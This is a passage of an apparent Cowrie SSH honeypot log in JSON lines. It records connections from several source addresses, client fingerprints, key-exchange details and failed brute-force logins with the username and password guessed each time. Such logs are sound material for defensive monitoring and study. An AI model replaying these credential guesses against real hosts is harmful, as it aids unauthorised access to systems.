f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:00.325919Z","src_ip":"182.180.57.212","session":"b36141e4d9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:01.333676Z","src_ip":"182.180.57.212","session":"b36141e4d9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:02.584954Z","src_ip":"182.180.57.212","session":"b36141e4d9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55030,"dst_ip":"10.17.0.5","dst_port":22,"session":"6267d7e1eb73","protocol":"ssh","message":"New connection: 8.218.166.49:55030 (10.17.0.5:22) [session: 6267d7e1eb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:10.449205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:10.453768Z","src_ip":"8.218.166.49","session":"6267d7e1eb73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56490,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad91c1db0867","protocol":"ssh","message":"New connection: 8.218.166.49:56490 (10.17.0.5:22) [session: ad91c1db0867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:17.722511Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56492,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff137d567ff","protocol":"ssh","message":"New connection: 8.218.166.49:56492 (10.17.0.5:22) [session: aff137d567ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:28.702812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:40.780240Z","src_ip":"8.218.166.49","session":"aff137d567ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:40.783729Z","src_ip":"8.218.166.49","session":"aff137d567ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":38186,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2656d50f927","protocol":"ssh","message":"New connection: 198.23.150.42:38186 (10.17.0.5:22) [session: f2656d50f927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:44.984765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:44.989759Z","src_ip":"198.23.150.42","session":"f2656d50f927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:45.016754Z","src_ip":"198.23.150.42","session":"f2656d50f927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"contact","message":"login attempt [root/contact] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:45.125958Z","src_ip":"198.23.150.42","session":"f2656d50f927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:46.148198Z","src_ip":"198.23.150.42","session":"f2656d50f927","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42238,"dst_ip":"10.17.0.5","dst_port":22,"session":"20bb34b6c31b","protocol":"ssh","message":"New connection: 8.218.166.49:42238 (10.17.0.5:22) [session: 20bb34b6c31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:49.790492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:51.035667Z","src_ip":"8.218.166.49","session":"20bb34b6c31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":57496,"dst_ip":"10.17.0.5","dst_port":22,"session":"72dc3b98af33","protocol":"ssh","message":"New connection: 49.207.40.162:57496 (10.17.0.5:22) [session: 72dc3b98af33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:52.103538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:52.107939Z","src_ip":"49.207.40.162","session":"72dc3b98af33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:52.327448Z","src_ip":"49.207.40.162","session":"72dc3b98af33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:52.744107Z","src_ip":"8.218.166.49","session":"20bb34b6c31b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spade","message":"login attempt [root/spade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:53.237358Z","src_ip":"49.207.40.162","session":"72dc3b98af33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:57:54.460199Z","src_ip":"49.207.40.162","session":"72dc3b98af33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":58932,"dst_ip":"159.203.135.109","dst_port":22,"session":"37afc7a1cdd3","protocol":"ssh","message":"New connection: 101.36.124.219:58932 (159.203.135.109:22) [session: 37afc7a1cdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:05.775800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:05.781276Z","src_ip":"101.36.124.219","session":"37afc7a1cdd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:06.001462Z","src_ip":"101.36.124.219","session":"37afc7a1cdd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q!w@e#r$t%","message":"login attempt [root/q!w@e#r$t%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:06.913896Z","src_ip":"101.36.124.219","session":"37afc7a1cdd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:08.136048Z","src_ip":"101.36.124.219","session":"37afc7a1cdd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:12.284335Z","src_ip":"8.218.166.49","session":"aff137d567ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:25.042018Z","src_ip":"8.218.166.49","session":"20bb34b6c31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"62.9","message":"Connection lost after 62.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:31.565502Z","src_ip":"8.218.166.49","session":"aff137d567ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.186","src_port":33498,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6a486c7d9de","protocol":"ssh","message":"New connection: 104.28.195.186:33498 (10.17.0.5:22) [session: a6a486c7d9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:33.071806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:33.075332Z","src_ip":"104.28.195.186","session":"a6a486c7d9de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:33.155554Z","src_ip":"104.28.195.186","session":"a6a486c7d9de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shashi","message":"login attempt [root/shashi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:33.503451Z","src_ip":"104.28.195.186","session":"a6a486c7d9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:34.584318Z","src_ip":"104.28.195.186","session":"a6a486c7d9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":56894,"dst_ip":"10.17.0.5","dst_port":22,"session":"80392eab207e","protocol":"ssh","message":"New connection: 14.63.196.175:56894 (10.17.0.5:22) [session: 80392eab207e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:35.887874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:35.896325Z","src_ip":"14.63.196.175","session":"80392eab207e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:36.093760Z","src_ip":"14.63.196.175","session":"80392eab207e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:36.916953Z","src_ip":"14.63.196.175","session":"80392eab207e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:38.117691Z","src_ip":"14.63.196.175","session":"80392eab207e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:40.682261Z","src_ip":"8.218.166.49","session":"6267d7e1eb73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":38414,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c5ebc2d1c02","protocol":"ssh","message":"New connection: 182.180.57.212:38414 (10.17.0.5:22) [session: 8c5ebc2d1c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:42.882154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:58:42.886774Z","src_ip":"182.180.57.212","session":"8c5ebc2d1c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-